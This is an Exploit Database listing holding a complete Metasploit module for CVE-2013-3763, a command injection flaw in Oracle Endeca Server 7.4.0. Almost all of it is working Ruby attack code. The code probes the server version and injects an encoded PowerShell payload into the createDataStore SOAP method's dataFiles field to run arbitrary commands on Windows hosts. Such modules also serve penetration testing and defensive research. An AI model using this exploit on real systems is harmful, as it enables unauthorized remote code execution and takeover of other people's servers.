Oracle Endeca Server – Remote Command Execution (Metasploit)

• Exploit Database
• 10 阅读

• 作者： Metasploit
  日期： 2013-08-26
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/27877/

• ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # web site for more information on licensing and terms of use.
  # http://metasploit.com/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking
  
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Powershell
  
  def initialize
  super(
  'Name'=> 'Oracle Endeca Server Remote Command Execution',
  'Description' => %q{
  This module exploits a command injection vulnerability on the Oracle Endeca
  Server 7.4.0. The vulnerability exists on the createDataStore method from the
  controlSoapBinding web service. The vulnerable method only exists on the 7.4.0
  branch and isn't available on the 7.5.5.1 branch. On the other hand, the injection
  has been found to be Windows specific. This module has been tested successfully
  on Endeca Server 7.4.0.787 over Windows 2008 R2 (64 bits).
  },
  'Author'=> [
  'rgod <rgod[at]autistici.org>', # Vulnerability discovery
  'juan vazquez' # Metasploit module
  ],
  'Platform'=> 'win',
  'Arch'=> [ ARCH_X86_64, ARCH_X86 ],
  'References'=>
  [
  [ 'CVE', '2013-3763' ],
  [ 'BID', '61217' ],
  [ 'OSVDB', '95269' ],
  [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-13-190/' ],
  [ 'URL', 'http://www.oracle.com/technetwork/topics/security/cpujuly2013-1899826.html' ]
  ],
  'Targets' =>
  [
  [ 'Oracle Endeca Server 7.4.0 / Microsoft Windows 2008 R2 64 bits', { } ]
  ],
  'DefaultTarget'=> 0,
  'Privileged' => false,
  'DisclosureDate' => 'Jul 16 2013'
  )
  
  register_options(
  [
  Opt::RPORT(7770),
  OptString.new('TARGETURI', [true, 'The URI path of the Control Web Service', '/ws/control'])
  ], self.class)
  end
  
  def peer
  return "#{rhost}:#{rport}"
  end
  
  def version_soap
  soap = <<-eos
  <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ns="http://www.endeca.com/endeca-server/control/1/0">
   <soapenv:Header/>
   <soapenv:Body>
  <ns:version/>
   </soapenv:Body>
  </soapenv:Envelope>
  eos
  
  return soap
  end
  
  def create_data_store_soap(name, files)
  soap = <<-eos
  <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ns="http://www.endeca.com/endeca-server/control/1/0">
   <soapenv:Header/>
   <soapenv:Body>
  <ns:createDataStore>
   <ns:dataStoreConfig>
  <ns:name>#{name}</ns:name>
  <ns:dataFiles>#{files}</ns:dataFiles>
   </ns:dataStoreConfig>
  </ns:createDataStore>
   </soapenv:Body>
  </soapenv:Envelope>
  eos
  
  return soap
  end
  
  def check
  
  res = send_request_soap(version_soap)
  
  if res.nil? or res.code != 200 or res.body !~ /versionResponse/
  return Exploit::CheckCode::Safe
  end
  
  version_match = res.body.match(/<serverVersion>Oracle Endeca Server ([0-9\.]*) /)
  
  if version_match.nil?
  return Exploit::CheckCode::Unknown
  else
  version = version_match[1]
  end
  
  print_status("#{peer} - Version found: Oracle Endeca Server #{version}")
  
  if version =~ /7\.4\.0/ and version <= "7.4.0.787"
  return Exploit::CheckCode::Vulnerable
  end
  
  return Exploit::CheckCode::Safe
  
  end
  
  def send_request_soap(data)
  res = send_request_cgi({
  'uri' => normalize_uri(target_uri.path),
  'method'=> 'POST',
  'ctype' => 'text/xml; charset=utf-8',
  'headers' =>
  {
  'SOAPAction' => "\"\""
  },
  'data'=> data
  })
  
  return res
  end
  
  def exploit
  command = cmd_psh_payload(payload.encoded)
  if command.length > 8000
  # Windows 2008 Command Prompt Max Length is 8191
  fail_with(Failure::BadConfig, "#{peer} - The selected paylod is too long to execute through powershell in one command")
  end
  print_status("#{peer} - Exploiting through Powershell...")
  execute_command(command)
  end
  
  def execute_command(cmd)
  # HTML encode ampersands so SOAP is correctly interpreted
  cmd.gsub!(/&/, "&#x26;")
  injection = "c:\\&#x22;&#x26; #{cmd} &#x26;&#x22;"
  exploit_data = create_data_store_soap(rand_text_alpha(4), injection)
  begin
  res = send_request_soap(exploit_data)
  if res.nil? or res.code != 500 or ( res.body !~ /Error creating data files at/ and res.body !~ /Data files don't exist/ )
  print_status("#{res.code}\n#{res.body}") if res
  fail_with(Failure::UnexpectedReply, "#{peer} - Unable to execute the CMD Stager")
  end
  rescue ::Rex::ConnectionError
  fail_with(Failure::Unreachable, "#{peer} - Unable to connect")
  end
  end
  
  end